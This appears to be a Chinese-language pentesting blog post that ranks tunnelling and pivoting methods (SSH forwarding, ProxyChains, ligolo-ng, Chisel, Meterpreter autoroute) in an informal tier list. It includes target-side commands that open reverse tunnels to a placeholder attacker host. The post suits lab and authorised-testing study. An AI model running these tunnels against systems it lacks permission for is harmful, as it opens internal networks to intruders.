盤點滲透測試中常見的隧道與跳板姿勢

在做滲透測試時常常會遇到需要存取只能從內部網路才能存取的服務,這時候就會需要使用隧道(Tunneling)或跳板(Pivoting)的技巧來達成目的。列出幾個常見的方式。

  • 需注意哪些指令應該在攻擊者還是受害者機器上執行。

SSH Tunneling

  • 使用情境:單一 port 需要存取,且受害者機器上有 SSH 服務可用。

-L 將本地端口轉發到遠端服務器的指定端口,使攻擊者可以從本地訪問遠端服務器上的服務。

1
2
# Attacker
ssh -L <local_port>:<remote_host>:<remote_port> <user>@<jump_host>

-R 將遠端端口轉發到本地服務器的指定端口,使攻擊者可以從遠端訪問本地服務器上的服務。

1
2
# Target
ssh -R <remote_port>:<local_host>:<local_port> <kali_user>@<attacker_host>
  • 因為這個方法需要 target 有 ssh service,但在靶場常常出現,所以常常使用,給到頂級。

SSH Dynamic Port Forwarding

  • 使用情境:需要存取多個內部服務,且受害者機器上有 SSH 服務可用。

-D 在本地創建一個 SOCKS 代理,攻擊者可以通過這個代理訪問內部網路上的多個服務。

1
2
# Attacker
ssh -D <local_port> <user>@<jump_host>

訪問內部服務時,需將瀏覽器或其他工具的 proxy 設置為 localhost:<local_port>

  • 雖然可以一次轉很多 port,但需要程式支援 SOCKS 代理,且需要在攻擊者機器上設定 proxy,使用上較麻煩,給個人上人。

ProxyChains

  • 使用情境:需要存取多個內部服務,可以使用其他工具建立隧道。

  • 需修改 /etc/proxychains.conf

  • Hook Libc network calls

1
proxychains <command>
  • 每次要指定流量都要修改檔案,而且因為原理是 hook libc 的 network calls,所以不一定對所有程式都有效,我覺得拉完了。

ligolo-ng(個人最推)

  • 使用情境:需要存取多個內部服務

  • 是以 proxy/agent 模式,支援 Linux 與 Windows

  • 攻擊者執行 proxy,受害者執行 agent

  • 很像 VPN

1
2
# Attacker, 因為會動到網卡設定,務必開 root!!!!!
sudo proxy -selfcert -laddr 0.0.0.0:9999
1
2
# Target
agent -ignore-cert -connect <attacker_ip>:9999

連上之後做以下路由設定:

1
2
3
4
5
6
7
# Attacker
# 建立 interface, need root
ifcreate --name ligolo
# start tunnel
tunnel_start --name ligolo
# 加入路由,172.xx.xx.0/24 是內部網段,需根據實際情況修改
route_add --name ligolo --route 172.xx.xx.0/24
  • 這是用 Go 寫的,各種情況都能用,而且連線非常穩定,直接當 VPN 用,還支援多種協定,agent 不需要提權,夯爆了。

Chisel

  • 使用情境:需要存取多個內部服務
  • 確保 Kali 跟受害者的 chisel 版本相同
1
2
# Attacker
chisel server -p 9999 --reverse
1
2
# Target
chisel client --max-retries 5 <attacker_ip>:9999 R:<listening_port>:<target_host>:<target_port>

若需要多個 port(Dynamic routing),使用 socks5

1
2
# Attacker
chisel server -p 9999 --reverse --socks5
1
2
# Target
chisel client --max-retries 5 <attacker_ip>:9999 R:socks
  • 很依賴 socks5,延遲比較高,但比 ligolo 簡單,適合偷懶,給到頂級。

Meterpreter

  • 使用情境:已在受害者機器上取得 Meterpreter session

Port Forwarding

在 Meterpreter session 中使用 portfwd 將本地端口轉發到內部服務,適合存取單一服務。

1
2
3
4
# Meterpreter session
portfwd add -l <local_port> -r <remote_host> -p <remote_port>
portfwd list
portfwd delete -l <local_port>

Pivoting(autoroute + SOCKS)

透過 autoroute 加入路由,再搭配 socks_proxy 模組,讓 ProxyChains 可以存取整個內部網段。

1
2
3
4
5
# Meterpreter session
run post/multi/manage/autoroute
# 或手動加入
route add <subnet>/<cidr> <session_id>
route print
1
2
3
4
5
# msfconsole
use auxiliary/server/socks_proxy
set SRVPORT 1080
set VERSION 5
run -j

接著在 /etc/proxychains.conf 加入:

1
socks5 127.0.0.1 1080
1
proxychains <command>
  • 腳本小子必備,但我們這些高手平常不太開 msfconsole,所以給 NPC。